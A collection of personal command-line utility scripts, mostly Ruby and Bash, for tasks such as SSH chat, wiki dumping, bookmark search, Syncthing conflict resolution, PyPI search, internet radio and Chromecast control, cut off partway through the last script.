args = ARGV if (args & %w[-h --help]).any? help! elsif ARGV.any? addr = ARGV.first elsif File.exists? CONFIG_FILE addr = File.read(CONFIG_FILE).each_line.first.strip end unless matches = addr.match(%r{(?:(?<user>\w+)@)?(?<host>\w+)(?::(?<port>\d+))?}) puts "Error: couldn't parse address: #{addr.inspect}" exit 1 end user = matches[:user] || ENV["USER"] host = matches[:host] || "chat.shazow.net" port = (matches[:port] || 22).to_i FileUtils.mkdir_p(CONFIG_DIR) unless File.directory?(CONFIG_DIR) puts "* Connecting to: #{user}@#{host}:#{port}" ## Extra options: # verify_host_key: :accept_new # verify_host_key: KeyVerifier.new, # logger: Logger.new(STDERR), verbose: :debug Net::SSH.start(host, user, port: port, non_interactive: true, verify_host_key: :accept_new) do |ssh| log = open(LOG_FILE, "a") channel = ssh.open_channel do |ch| ch.on_data do |c, data| $stdout.print(data) log.write(data) # p data end # "on_extended_data" is called when the process writes something to stderr ch.on_extended_data do |c, type, data| $stderr.print data end ch.on_close do puts "done!" end end Thread.new do ssh.loop(0.05) rescue nil end loop do line = Readline.readline("", true) channel.send_data(line + "\r") end end rescue nil <file_sep>#!/usr/bin/env ruby gem 'slop', "~> 3.6" require 'slop' require 'epitools' DUMPGENERATOR_URL = "https://raw.githubusercontent.com/WikiTeam/wikiteam/master/dumpgenerator.py" opts = Slop.parse(help: true, strict: true) do banner "Usage: wikidump [options] <wiki url(s)>" separator "(Default behaviour: downloading the latest revision of each page, plus images.)" on "i", "info", "Show info about the wiki, then exit" on "a", "all", "Download all historical revisions for every page" on "b", "boring", "No images" on "d=", "dir", "Output directory" on "U", "update", "Update dumpgenerator.py" end args = ARGV failure = proc do |msg| $stderr.puts "<12>Error:</12> #{msg}".colorize $stderr.puts $stderr.puts opts exit 1 end def wikidump(*args) update_dumpgenerator unless which("dumpgenerator.py") cmd = ["dumpgenerator.py", *args] puts "Executing: #{cmd.inspect}" system *cmd end def update_dumpgenerator out_file = "#{__DIR__}/dumpgenerator.py" puts "* getting #{DUMPGENERATOR_URL}" data = curl(DUMPGENERATOR_URL) puts " |_ writing to #{out_file}" File.write(out_file, data) system("chmod", "+x", out_file) system("git", "diff", out_file) end if opts.update? update_dumpgenerator exit end failure["Wiki URL missing"] if args.empty? args.each do |url| failure["Invalid URL <8>(<1>\"<9>#{url}<1>\"<8>)"] unless url =~ %r{^https?://.+} end args.each do |url| if opts.info? wikidump("--get-wiki-engine", url) else options = ["--xml"] options << "--images" unless opts.boring? options << "--curonly" unless opts[:all] wikidump *options, url end end <file_sep>#!/bin/bash sudoifnotroot ngrep -W byline | grep -Pio '(swfurl\.{2}.*?\.{2})|(\.{2}play.*?\w.*?\.{3})|(tcUrl.*?rtmp://.*?\.{2})|(pageUrl\.{3}.*?\.{2})' <file_sep>#!/usr/bin/env ruby require 'epitools' ############################################################### args = ARGV opts, args = args.partition { |arg| arg[/^-./] } def help puts "Usage: bms [options] <query>" puts puts "Purpose: Search google chrome's bookmarks." puts puts "Options:" puts " -c Case sensitive" puts exit end help if args.empty? ############################################################### class Hash def find_bookmark(query, trail=[]) results = [] trail = trail.dup case self["type"] when "folder" trail << self["name"] if children = self["children"] children.each do |child| results += child.find_bookmark(query, trail) end end when "url" if self["name"][query] or self["url"][query] results << [trail, self] end end results end end def formatdate(dt, width=11) time = "%l:%M%P" date = "%d %b %g" #dt.strftime("#{date} #{time}") [ dt.strftime(date).ljust(width), dt.strftime(time).ljust(width) ] end def highlight(str, query, color="black_on_blue") str.highlight(query) { |m| "<#{color}>#{m}</#{color}>"} end def display_result(trail, result, query, output) ## TODO: Columns! indent = " " * 11 name = result["name"] url = result["url"] timestamp = (result["date_added"].to_i / 1.million) - 11644473600 date, time = formatdate Time.at(timestamp) output.puts "<14>#{date}<15>#{highlight name, query}".colorize output.puts "<7>#{time}<9>#{highlight url, query}".colorize output.puts "#{indent}<3>(<11>#{trail.reverse.join(" <3><-</3> ")}</11><3>)".colorize output.puts end bookmarks_files = %w[ ~/.config/google-chrome ~/.config/chromium ].map{|dir| Path["#{dir}/Default/Bookmarks"] }.select(&:exists?) for file in bookmarks_files marks = file.read.from_json #p marks.keys if opts.include? "-c" query = Regexp.new(args.join) else query = Regexp.new(args.join, Regexp::IGNORECASE) end results = marks["roots"]["other"].find_bookmark(query) results = results.sort_by { |trail,result| result["date_added"] }.reverse lesspipe do |less| results.each do |trail, result| display_result(trail, result, query, less) end end end <file_sep>#!/usr/bin/env ruby require 'epitools' for arg in ARGV f = Path[arg] puts "* #{arg} (#{f.size.commatize} bytes)" unless f.size > 0 puts " |_ Already deleted..." next end f.rename!(filename: "#{f.filename}.deleted") puts " |_ #{f.filename}" f.open("wb") { } end <file_sep>#!/usr/bin/env ruby ######################################################## require 'epitools' ######################################################## class CTags class Entity < Struct.new(:name, :type, :line, :file, :expr) TYPE_FORMAT = { "class" => [:class, 11], "module" => [:module, 3], "label" => [:label, 2], "function" => [:func, 9], "subroutine" => [:sub, 1], "method" => [:method, 2], "member" => [:method, 2], "singleton_method" => [:cmethod, 14], "variable" => [:var, 5], "namespace" => [:namespace, 13], "struct" => [:struct, 12], "package" => [:package, 7], "macro" => [:macro, 7], } TYPE_LENGTH = TYPE_FORMAT.values.map {|n,c| n.to_s.size }.max def self.from_line(line) pieces = line.chomp.split(/\s+/, 5) # sometimes the "type" column has a space in it; this fixes that if pieces[1] == "singleton" pieces[1..2] = pieces[1..2].join("_") pieces += pieces.pop.split(/\s+/,2) end new(*pieces) end def pretty_print(q) q.pp to_s end def to_s "#{name} (#{type}): #{expr}" end def type_color @type_color ||= TYPE_FORMAT[type]&.last || 7 end def type_name @type_name ||= TYPE_FORMAT[type]&.first || type.upcase end def colorize padding_size = (TYPE_LENGTH - type_name.to_s.size) padding_size = 0 if padding_size < 0 padding = " " * padding_size "#{padding}<8>[<#{type_color}>#{type_name}<8>] <15>#{name}<8>: <7>#{expr}".colorize end end def self.parse(*files, ctags_options: nil) cmd = %w[ctags -xR --sort=no] + files cmd += ctags_options if ctags_options IO.popen(cmd, "rb") do |io| io.each_line.map { |line| Entity.from_line(line) } end end end if $0 == __FILE__ gem 'slop', "~> 3.6" require 'slop' opts = Slop.parse(help: true, strict: true) do banner "Usage: codetree <file(s)/director(y/ies)>" end args = ARGV args << "." if args.empty? grouped_entities = CTags.parse(*args).group_by(&:file) lesspipe do |less| grouped_entities.each do |file, ents| less.puts "<8>== <7>#{file} <8>===========================".colorize less.puts ents.each { |ent| less.puts " #{ent.colorize}" } less.puts end end end <file_sep>#!/usr/bin/env bash # Check for sync conflicts and resolve them. Inspired by 'pacdiff' from Arch # Linux. declare -r myname='syncthing-resolve-conflicts' declare -r myver='1.1.0' diffprog=${DIFFPROG:-'vim -d'} USE_COLOR='y' declare -i USE_FIND=0 declare DIRECTORY="" declare -a ignored declare -a nontext plain() { (( QUIET )) && return local mesg mesg="$1"; shift # shellcheck disable=SC2059 printf " ${mesg}${ALL_OFF}\\n" "$@" >&1 } msg() { (( QUIET )) && return local mesg mesg="$1"; shift # shellcheck disable=SC2059 printf "${GREEN}==>${ALL_OFF} ${mesg}${ALL_OFF}\\n" "$@" >&1 } msg2() { (( QUIET )) && return local mesg mesg="$1"; shift # shellcheck disable=SC2059 printf "${BLUE} ->${ALL_OFF} ${mesg}${ALL_OFF}\\n" "$@" >&1 } ask() { local mesg mesg="$1"; shift # shellcheck disable=SC2059 printf " ${BLUE}::${ALL_OFF} ${mesg}${ALL_OFF}" "$@" >&1 } if [ -n "$(command -v gettext)" ]; then translate() { gettext "$@" } else translate() { printf %s "$@" } fi warning() { local mesg mesg="$1"; shift # shellcheck disable=SC2059 printf "${YELLOW}==> $(translate "WARNING:")${ALL_OFF} ${mesg}${ALL_OFF}\\n" "$@" >&2 } error() { local mesg mesg="$1"; shift # shellcheck disable=SC2059 printf "${RED}==> $(translate "ERROR:")${ALL_OFF} ${mesg}${ALL_OFF}\\n" "$@" >&2 } usage() { cat <<EOF ${myname} v${myver} Inspired by 'pacdiff'. A simple program to merge or remove sync conflicts. 'locate' (or 'find', see -f option) is used to find conflicts. In case the database is not recent, run 'updatedb'. Usage: $myname [-d DIR] [-f] [-o] [--nocolor] General Options: -d/--directory DIR only scan for sync conflicts in the directory DIR -f/--find use find instead of locate; by default, scan the home directory of the current user, but please see the -d option -o/--output print files instead of merging them --nocolor remove colors from output -v/--version print version and exit -h/--help print usage and exit Environment Variables: DIFFPROG override the merge program: (default: 'vim -d') Example: DIFFPROG=meld $myname Example: $myname --output EOF } version() { printf "%s %s\\n" "$myname" "$myver" echo 'Copyright (C) 2020 <NAME> <<EMAIL>>' echo 'Inspired by "pacdiff".' } cmd() { if (( USE_FIND )); then if [[ -z $DIRECTORY ]] then # echo "find ~/ -name '*sync-conflict*' -print0" find ~/ -name '*sync-conflict*' -print0 else # echo "find $DIRECTORY -name '*sync-conflict*' -print0" >&2 find $DIRECTORY -name '*sync-conflict*' -print0 fi else case "$(uname -s)" in Darwin) locate_cmd=(locate -0);; *) locate_cmd=(locate -0 -e);; esac if [[ -z $DIRECTORY ]] then locate_opt=(-b) glob="sync-conflict" else locate_opt=(-r) glob="^${DIRECTORY}.*sync-conflict.*" fi # echo "${locate_cmd[@]}" "${locate_opt[@]}" "$glob" >&2 "${locate_cmd[@]}" "${locate_opt[@]}" "$glob" fi } check_dir() { if [[ ! -d $1 ]] then echo "Not a directory: $1." exit 1 fi realpath "$1" } while [[ -n "$1" ]]; do case "$1" in -h|--help) usage; exit 0;; -v|-V|--version) version; exit 0;; -d|--directory) DIRECTORY=$(check_dir "$2"); shift;; -f|--find) USE_FIND=1;; -o|--output) OUTPUTONLY=1;; --nocolor) USE_COLOR='n';; *) usage; exit 1;; esac shift done # Check if messages are to be printed using color. unset ALL_OFF BLUE GREEN RED YELLOW if [[ -t 2 && $USE_COLOR = "y" ]]; then # Prefer terminal safe colored and bold text when tput is supported. if tput setaf 0 &>/dev/null; then ALL_OFF="$(tput sgr0)" BLUE="$(tput setaf 27)" GREEN="$(tput setaf 2)" RED="$(tput setaf 1)" YELLOW="$(tput setaf 3)" else ALL_OFF="\\e[1;0m" BLUE="\\e[1;34m" GREEN="\\e[1;32m" RED="\\e[1;31m" YELLOW="\\e[1;33m" fi fi readonly ALL_OFF BLUE GREEN RED YELLOW if [ -z "$(command -v "${diffprog%% *}")" ] && (( ! OUTPUTONLY )); then error "Cannot find the $diffprog binary required for viewing differences." exit 1 fi # warning "Recursive sync conflicts are not properly handled." # See http://mywiki.wooledge.org/BashFAQ/020. while IFS= read -u 3 -r -d '' conflict; do [[ ! -e "$conflict" && ! -L "$conflict" && ! -d "$conflict" ]] && continue if (( OUTPUTONLY )); then echo "$conflict" continue fi # Ignore backups in '.stversions' folders. if [[ "$conflict" = */.stversions/* ]]; then ignored+=("$conflict") continue fi # XXX: Maybe somebody wants to diff special non-text files? # Ignore binary files. if file -i "$conflict" | grep -qv text; then nontext+=("$conflict") continue fi # XXX: Recursive sync conflicts lead to problems if they are treated in the # wrong order. For now, collect sync conflicts of higher order and treat # them later. if [[ "$conflict" = *sync-conflict*sync-conflict* ]]; then recursive+=("$conflict") continue fi # Original filename. TODO: Improve pattern match (digits only). file="${conflict/.sync-conflict-????????-??????-???????/}" # Handle sync conflict. msg "Sync conflict: %s" "$conflict" msg2 "Original file: %s" "$file" if [ ! -f "$file" ]; then warning "Original file not found for conflict %s." "$conflict" ignored+=("$conflict") continue elif test "$conflict" -ef "$file"; then warning "Original file and conflict file point to the same file. Ignoring conflict." continue elif cmp -s "$conflict" "$file"; then msg2 "Files are identical, removing..." plain "$(rm -v "$conflict")" continue else ask "(V)iew, (S)kip, (R)emove sync conflict, (O)verwrite with sync conflict, (Q)uit: [v/s/r/o/q] " # shellcheck disable=SC2162 while read c; do case $c in q|Q) exit 0;; r|R) plain "$(rm -v "$conflict")"; break ;; o|O) plain "$(mv -v "$conflict" "$file")"; break ;; v|V) $diffprog "$conflict" "$file" ask "(V)iew, (S)kip, (R)emove sync conflict, (O)verwrite with sync conflict, (Q)uit: [v/s/r/o/q] " continue ;; s|S) break ;; *) ask "Invalid answer. Try again: [v/s/r/o/q] "; continue ;; esac done fi done 3< <(cmd) # Print warning if files have been ignored and delete them if specified. if [ ! ${#ignored[@]} -eq 0 ] then warning "Some files have been ignored." (( ${#ignored[@]} )) && msg "%s" "${ignored[@]}" ask "(R)emove all ignored files, (A)sk for each file, (Q)uit: [r/q] " # shellcheck disable=SC2162 while read c; do case "$c" in q|Q) exit 0 ;; a|A) for f in "${ignored[@]}" do msg "Ignored file: %s" "$f" ask "(R)emove, (S)kip, (Q)uit: [r/s/q] " # shellcheck disable=SC2162 while read ci; do case "$ci" in q|Q) exit 0 ;; s|S) break ;; r|R) plain "$(rm -v "$f")"; break ;; *) ask "Invalid answer. Try again: [r/s/q] "; continue ;; esac done done ;; r|R) (( ${#ignored[@]} )) && plain "$(rm -v "${ignored[@]}")"; break ;; *) ask "Invalid answer. Try again: [d/q] "; continue ;; esac done fi # Print warning if recursive conflicts of depth two or larger have been ignored # and delete them if specified. if [ ! ${#recursive[@]} -eq 0 ] then warning "Some recursive conflicts have been ignored." (( ${#recursive[@]} )) && msg "%s" "${recursive[@]}" ask "(R)emove all ignored files, (A)sk for each file, (Q)uit: [r/q] " # shellcheck disable=SC2162 while read c; do case "$c" in q|Q) exit 0 ;; a|A) for f in "${recursive[@]}" do msg "Ignored file: %s" "$f" ask "(R)emove, (S)kip, (Q)uit: [r/s/q] " # shellcheck disable=SC2162 while read ci; do case "$ci" in q|Q) exit 0 ;; s|S) break ;; r|R) plain "$(rm -v "$f")"; break ;; *) ask "Invalid answer. Try again: [r/s/q] "; continue ;; esac done done ;; r|R) (( ${#recursive[@]} )) && plain "$(rm -v "${recursive[@]}")"; break ;; *) ask "Invalid answer. Try again: [d/q] "; continue ;; esac done fi # Print warning if non-text sync conflicts have been detected and delete them # one by one if specified. if [ ! ${#nontext[@]} -eq 0 ] then warning "The following conflicts involve non-text files:" for f in "${nontext[@]}" do msg "Non-text file: %s" "$f" ask "(R)emove, (S)kip, (Q)uit: [r/s/q] " # shellcheck disable=SC2162 while read c; do case "$c" in q|Q) exit 0 ;; s|S) break ;; r|R) plain "$(rm -v "$f")"; break ;; *) ask "Invalid answer. Try again: [r/s/q] "; continue ;; esac done done fi exit 0 <file_sep>#!/usr/bin/env ruby # # TODO: # - Bugfix: "2..-1" doesn't work # - "2-" also doesn't work # - Give it group-by functionality, so the 'group-by' script can just use this tool # - Switch to 'slop' for parsing args # - Multiple delimiters (ie: `fields -d / -d :` will split on both `/` and `:`) # - Comma-separated spans # - Enhance `sort-by` with a fieldlist, so `fields` can be combined with `sort-by` # def help! puts DATA.read exit end def to_field(str) n = str.to_i n < 0 ? n : n-1 end args = ARGV delim = /\s+/ fields = [] output_csv = false while args.any? arg = args.shift case arg when "--help" help! when "--csv", "-c" output_csv = true when "-d" delim = args.shift when "-e" delim = Regexp.new(args.shift) when /^(-?\d+)$/ fields << to_field($1) when /^(-?\d+)(?:\.\.\.?|-)(-?\d+)$/ # match "a..b" or "a-b" a = to_field($1) b = to_field($2) if a <= b fields << (a..b) else fields += a.downto(b).to_a end when /^(\d+,)+(\d+)$/ fields += arg.split(",").map {|f| to_field(f) } # else # input = open(arg) end end help! unless fields.any? # pp fields if output_csv require 'csv' csv = CSV.new($stdout) emitter = proc { |result| csv << result } else emitter = proc { |result| puts result.join(" ") } end $stdin.each_line do |line| pieces = line.strip.split(delim) result = fields.map { |field| pieces[field] } emitter.(result) end __END__ purpose: Extract field number <n> from the input stream. usage: fields [-d <delimiter>] <fieldspec> examples: echo $PATH | fields -d : 1 fields -d : < /etc/passwd fields 1 3 7 < file.txt fields 1,3,7 8-12 < file.txt fields 1-5 < file.txt fields 2..3 5..9 < file.txt fields 3..1 < file.txt fields -1 < file.txt fields -1..-3 < file.txt <file_sep>#!/usr/bin/env ruby require 'epitools' sudoifnotroot Path["/dev/input/by-path/*-joystick"].each do |js| dev = js.symlink_target if dev.exists? dev.rm puts "#{dev} removed" else puts "#{dev} already removed!" end end<file_sep>#!/bin/bash echo "* Registering Gnome spotify associations (for Firefox/Chrome)..." echo gconftool-2 -t string -s /desktop/gnome/url-handlers/spotify/command "$HOME/scripts/spotify %s" gconftool-2 -t bool -s /desktop/gnome/url-handlers/spotify/needs_terminal false gconftool-2 -t bool -s /desktop/gnome/url-handlers/spotify/enabled true <file_sep>#!/usr/bin/env ruby ################################################################### gem 'xmlrpc'; require 'xmlrpc/client' gem 'epitools'; require 'epitools/colored' ################################################################### # For some reason you have to do this crazy thing so that it doesn't blow up when it sees a <nil/> tag original_verbose, $VERBOSE = $VERBOSE, nil XMLRPC::Config.const_set(:ENABLE_NIL_PARSER, true) $VERBOSE = original_verbose def pypi_api # PyPI XML-RPC API Reference: # https://warehouse.pypa.io/api-reference/xml-rpc/ # https://wiki.python.org/moin/PyPIXmlRpc @pypi_api ||= XMLRPC::Client.new('pypi.python.org', '/pypi', 80) end ################################################################### class String def tighten; gsub(/[\t ]+/,' ').strip; end def any?; not empty?; end def indent(prefix=" ") gsub(/^/m, prefix) end def commatize gsub /(\d)(?=\d{3}+(?:\.|$))(\d{3}\..*)?/, "\\1,\\2" end end class Integer def commatize; to_s.commatize; end end ################################################################### def help! puts "usage:" puts " $ #{$PROGRAM_NAME} <search query>" puts " (searches all packages)" puts puts " #{$PROGRAM_NAME} -i <gem name>" puts " (shows info about a specific package)" puts exit 1 end def print_pkg_info(pkg_name) versions = pypi_api.call("package_releases", pkg_name) # pp versions # versions.each do |version| # info = pypi_api.call(:release_urls, pkg_name, version) # pp info # end # info.values_at(*%w[upload_time filename size downloads]) details = pypi_api.call(:release_data, pkg_name, versions.first) %w[name version home_page author author_email classifiers requires description].each do |field| puts "#{field}:".bright_white puts details[field].to_s.indent end end ################################################################### def print_search_results(query) # pkgs = pypi_api.call("search", {name: query, summary: query}, 'or') pkgs = pypi_api.call(:search, name: query) # {'name': 'spacy-arguing-lexicon', # 'summary': 'A spaCy extension wrapping around the arguing lexicon by MPQA', # 'version': '0.0.2', # '_pypi_ordering': False}, pkgs.reverse_each do |info| puts ("<8>=== " + "<11>#{info["name"]} " + "<7>(<3>v#{info["version"]}<7>)" + "<8>==============").colorize puts info["summary"].indent.bright_white unless info["summary"].empty? puts " <3>https://pypi.org/project/#{info["name"]}/".colorize puts end end ################################################################### # Handle ARGV opts, args = ARGV.partition { |arg| arg[/^-\w/] } if (args.empty? and opts.empty?) or opts.include?("--help") help! exit 1 end if opts.include?("-i") args.each { |arg| print_pkg_info(arg) } else query = args.join("+") puts "<8>* <7>Searching pypi for <14>#{query.inspect}<7>...".colorize print_search_results(query) end <file_sep>#!/usr/bin/env ruby ############################################################################################## require 'epitools' ############################################################################################## NUMBER_MAP = { "1" => %w[1], "2" => %w[a b c], "3" => %w[d e f], "4" => %w[g h i], "5" => %w[j k l], "6" => %w[m n o], "7" => %w[p q r s], "8" => %w[t u v], "9" => %w[w x y z], "0" => %w[0], } def each_letter_sequence_for(numstr, &block) if numstr.empty? yield "" else char = numstr[0] if letters = NUMBER_MAP[char] letters.each do |letter| each_letter_sequence_for(numstr[1..-1]) do |str| yield letter + str end end end end end ############################################################################################## if $0 == __FILE__ if ARGV.any? numstr = ARGV.join.scan(/\d/).flatten.join lesspipe do |less| less.puts "------------------------------------------------------" less.puts "All permutations of #{numstr}" less.puts "------------------------------------------------------" each_letter_sequence_for(numstr) { |seq| less.puts seq } end else puts "Usage: ananumber <phone digits>" end end <file_sep>#!/usr/bin/env python ################################################################################################ import sys import subprocess ################################################################################################ reset = '\033[0m' bold = '\033[01m' disable = '\033[02m' underline = '\033[04m' reverse = '\033[07m' strikethrough = '\033[09m' invisible = '\033[08m' black = '\033[30m' red = '\033[31m' green = '\033[32m' orange = '\033[33m' blue = '\033[34m' purple = '\033[35m' cyan = '\033[36m' white = '\033[37m' grey = '\033[90m' lightred = '\033[91m' lightgreen = '\033[92m' yellow = '\033[93m' lightblue = '\033[94m' pink = '\033[95m' lightcyan = '\033[96m' ################################################################################################ try: from youtube_search import YoutubeSearch except ModuleNotFoundError: print(f"Missing youtube search support; run '{bold}pip install --user youtube-search{reset}' first.") sys.exit(1) ################################################################################################ if len(sys.argv) < 2: print("usage: yt <playlist>") sys.exit(1) ################################################################################################ def num_prompt(msg="> "): while True: print(msg, end="", flush=True) inp = sys.stdin.readline().strip() if inp == "": return None try: val = int(inp) return val except ValueError: print("not a number!") ################################################################################################ def get_track(query, outnum): print(f"{grey}* {white}Searching for: {bold}{yellow}{query}{reset}...") results = YoutubeSearch(query, max_results=20).to_dict() numbered_results = [ (i, r) for i, r in enumerate(results) ] for n, r in reversed(numbered_results): # r = {'id': 'Zo_jdDGwdg0', # 'thumbnails': ['https://i.ytimg.com/vi/Zo_jdDGwdg0/hqdefault.jpg?sqp=-oaymwEjCOADEI4CSFryq4qpAxUIARUAAAAAGAElAADIQj0AgKJDeAE=&rs=AOn4CLDN0XzvVvVswzAx91QUuNMvy5J4qw'], # 'title': 'Swans The Sound of Freedom', # 'long_desc': None, # 'channel': 'Jännis Bunker', # 'duration': '4:36', # 'views': '932 views', # 'url_suffix': '/watch?v=Zo_jdDGwdg0'}, indent = " " * (len(str(n)) + 2) print(f"{lightcyan}{n+1}. {bold}{white}{r['title']}{reset} {grey}[{white}{r['duration']}{grey}]{reset}") print(f"{indent}{grey}by {lightgreen}{r['channel']} {grey}({white}{r['views']}{grey}){reset}") print(f"{indent}{bold}{blue}https://youtu.be/{r['id']}{reset}") if r['long_desc']: print(f"{indent}{r['long_desc']}") print() print(query) selection = num_prompt() if selection: _, r = numbered_results[selection-1] print(r) cmd = [ "youtube-dl", f"https://youtu.be/{r['id']}", "--extract-audio", "--add-metadata", "--no-mtime", "--xattrs", "-f", "bestaudio[ext=m4a]/bestaudio[ext=mp3]/bestaudio", "-o", f"{outnum}. %(title)s.%(ext)s", ] # TODO: If r['channel'] ends with ' - Topic', put the channel name as the artist name print(cmd) subprocess.run(cmd) ################################################################################################ playlist = sys.argv[1] with open(playlist) as f: for i, line in enumerate(f.readlines()): num = i+1 line = line.strip() print(num, line) get_track(line, num) <file_sep>#!/bin/bash # somafm.sh # This script is to select a somafm.com station for high or low bitrate playing. # Copyright 2021 <NAME> # All rights reserved. # # Redistribution and use of this script, with or without modification, is # permitted provided that the following conditions are met: # # 1. Redistributions of this script must retain the above copyright # notice, this list of conditions and the following disclaimer. # # THIS SOFTWARE IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR IMPLIED # WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF # MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO # EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, # SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, # PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; # OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, # WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR # OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF # ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. CACHE=1024 BA="http://somafm.com" radiomenu() { RADIO=$(DIALOGRC=$HOME/.soma/dialogrc dialog --stdout \ --cancel-label "Exit" --title "SOMA FM INTERNET RADIO" \ --menu "Select a station:" 25 74 14 \ "Secret Agent" "For your stylish, mysterious, dangerous life" \ "Groove Salad" "Ambient beats and grooves" \ "Groove Salad Classic" "Vintage ambient beats and grooves" \ "Underground 80s" "UK Synthpop"\ "PopTron" "Electropop and indie dance rock with sparkle"\ "Illinois Street Lounge" "Vintage bachelor pad music of tomorrow."\ "Boot Liquor" "Americana Roots music"\ "Digitalis" "Calming analog rock"\ "Folk Forward" "Indie/alt/classic folk"\ "Indie Pop Rocks!" "Indie pop tracks"\ "BAGeL Radio" "Alternative rock radio"\ "Heavyweight Reggae" "Reggae, ska, rocksteady"\ "Metal Detector" "Heavy metal"\ "Covers" "Just covers"\ "Christmas Lounge" "Chilled holiday grooves"\ "Christmas Rocks!" "Indie/alt Christmas rock"\ "Jolly Ol' Soul" "Christmas soul"\ "Xmas in Frisko" "Humorous/offensive holiday music"\ ) case $? in 1) exit ;; 255) exit ;; esac } qualitymenu() { QUALITY=$(DIALOGRC=$HOME/.soma/dialogrc dialog --stdout \ --cancel-label "Exit" --title "AUDIO BITRATE" \ --menu "Select desired bitrate:" 9 60 2 \ H "AAC 128kb" \ L "AAC-HE 64kb" \ ) case $? in 1) exit ;; 255) exit ;; esac } clearscreen() { NUMBER=80 for (( LOOPN=0; LOOPN<=$NUMBER; LOOPN++ )) do echo "" done } radiomenu qualitymenu clearscreen if [ "$QUALITY" == 'L' ]; then case $RADIO in "Secret Agent") mplayer -cache $CACHE -playlist $BA/secretagent64.pls ;; "Groove Salad") mplayer -cache $CACHE -playlist $BA/gsclassic64.pls ;; "Groove Salad") mplayer -cache $CACHE -playlist $BA/groovesalad64.pls ;; "Underground 80s") mplayer -cache $CACHE -playlist $BA/u80s64.pls ;; "PopTron") mplayer -cache $CACHE -playlist $BA/poptron64.pls ;; "Illinois Street Lounge") mplayer -cache $CACHE -playlist $BA/illstreet64.pls ;; "Boot Liquor") mplayer -cache $CACHE -playlist $BA/bootliquor64.pls ;; "Digitalis") mplayer -cache $CACHE -playlist $BA/digitalis64.pls ;; "Folk Forward") mplayer -cache $CACHE -playlist $BA/folkfwd64.pls ;; "Indie Pop Rocks!") mplayer -cache $CACHE -playlist $BA/indiepop64.pls ;; "BAGeL Radio") mplayer -cache $CACHE -playlist $BA/bagel64.pls ;; "Heavyweight Reggae") mplayer -cache $CACHE -playlist $BA/reggae80.pls ;; "Metal Detector") mplayer -cache $CACHE -playlist $BA/metal64.pls ;; "Covers") mplayer -cache $CACHE -playlist $BA/covers64.pls ;; "Christmas Lounge") mplayer -cache $CACHE -playlist $BA/christmas64.pls ;; "Christmas Rocks!") mplayer -cache $CACHE -playlist $BA/xmasrocks64.pls ;; "<NAME>") mplayer -cache $CACHE -playlist $BA/jollysoul64.pls ;; "Xmas in Frisko") mplayer -cache $CACHE -playlist $BA/xmasinfrisko64.pls ;; esac else case $RADIO in "Secret Agent") mplayer -cache $CACHE -playlist $BA/secretagent130.pls ;; "Groove Salad Classic") mplayer -cache $CACHE -playlist $BA/gsclassic130.pls ;; "Groove Salad") mplayer -cache $CACHE -playlist $BA/groovesalad130.pls ;; "Underground 80s") mplayer -cache $CACHE -playlist $BA/u80s130.pls ;; "PopTron") mplayer -cache $CACHE -playlist $BA/poptron130.pls ;; "Illinois Street Lounge") mplayer -cache $CACHE -playlist $BA/illstreet130.pls ;; "Boot Liquor") mplayer -cache $CACHE -playlist $BA/bootliquor130.pls ;; "Digitalis") mplayer -cache $CACHE -playlist $BA/digitalis130.pls ;; "Folk Forward") mplayer -cache $CACHE -playlist $BA/folkfwd130.pls ;; "Indie Pop Rocks!") mplayer -cache $CACHE -playlist $BA/indiepop130.pls ;; "BAGeL Radio") mplayer -cache $CACHE -playlist $BA/bagel130.pls ;; "Heavyweight Reggae") mplayer -cache $CACHE -playlist $BA/reggae130.pls ;; "Metal Detector") mplayer -cache $CACHE -playlist $BA/metal130.pls ;; "Covers") mplayer -cache $CACHE -playlist $BA/covers130.pls ;; "Christmas Lounge") mplayer -cache $CACHE -playlist $BA/christmas130.pls ;; "Christmas Rocks!") mplayer -cache $CACHE -playlist $BA/xmasrocks130.pls ;; "<NAME>") mplayer -cache $CACHE -playlist $BA/jollysoul130.pls ;; "Xmas in Frisko") mplayer -cache $CACHE -playlist $BA/xmasinfrisko130.pls ;; esac fi <file_sep>#!/usr/bin/env ruby ######################################################## gem 'slop', "~> 3.6" require 'slop' require 'epitools' ######################################################## opts = Slop.parse(help: true, strict: true) do banner "Usage: cast [options]" on "p", "pause", "Pause/unpause" on "a", "add", "Enqueue URL" on "s", "scan", "Scan devices" on "d=", "device", "Set Chromecast device" on "t=", "seek", "Seek to time" on "n", "next", "Go to next playlist entry" on "u=", "url", "Show an URL" on "i", "info", "Info about the currently playing thing" on "v", "verbose", "Show extended info" end args = ARGV ######################################################## def catt(command, *args, device: nil, stderr: true) cmd = ["catt"] cmd += ["-d", device] if device cmd << command cmd += args # p cmd; puts system *cmd end ######################################################## def help @help ||= `catt --help` end def help_commands help.split_after(/Commands:/).to_a.last.each_line.map { |line| line.strip.split }.compact end def valid_commands help_commands.map &:first end def config_lines path = Path["~/.config/catt/catt.cfg"] if path.exists? path.each_line else [] end end def devices @devices ||= `catt scan`.each_line.reject { |l| l["Scanning"] } end def aliases config_lines.split_after("[aliases]").to_a.last end def playing? `catt status`.each_line.grep(/State: PLAYING/).any? end def playpause if playing? puts "Pausing..." catt("pause") else puts "Playing..." catt("play") end end def monitor(delay=1, device: nil) begin last_update = Time.now print "\e[H\e[J" # clear loop do print "\e[1;1H" # home process_command("status", device: device) elapsed = Time.now-last_update sleep(delay-elapsed) if elapsed < delay last_update = Time.now end rescue Interrupt end end ######################################################## def status(device=nil) `catt #{"-d #{device} " if device}status` end def process_command(cmd, *args, device: nil) case cmd when "help", "?" puts help puts " *device Get/Set default Chromecast device" puts " aliases Show device aliases" puts " devices Show available devices and aliases" puts " seek/pos Show/set seek position" puts " volume Show/set volume" puts " commands Show available commands" puts " help This!" when "device" if args.empty? if device puts "device: #{device}" else config_lines.grep(/^device/).each &:displayln end else device 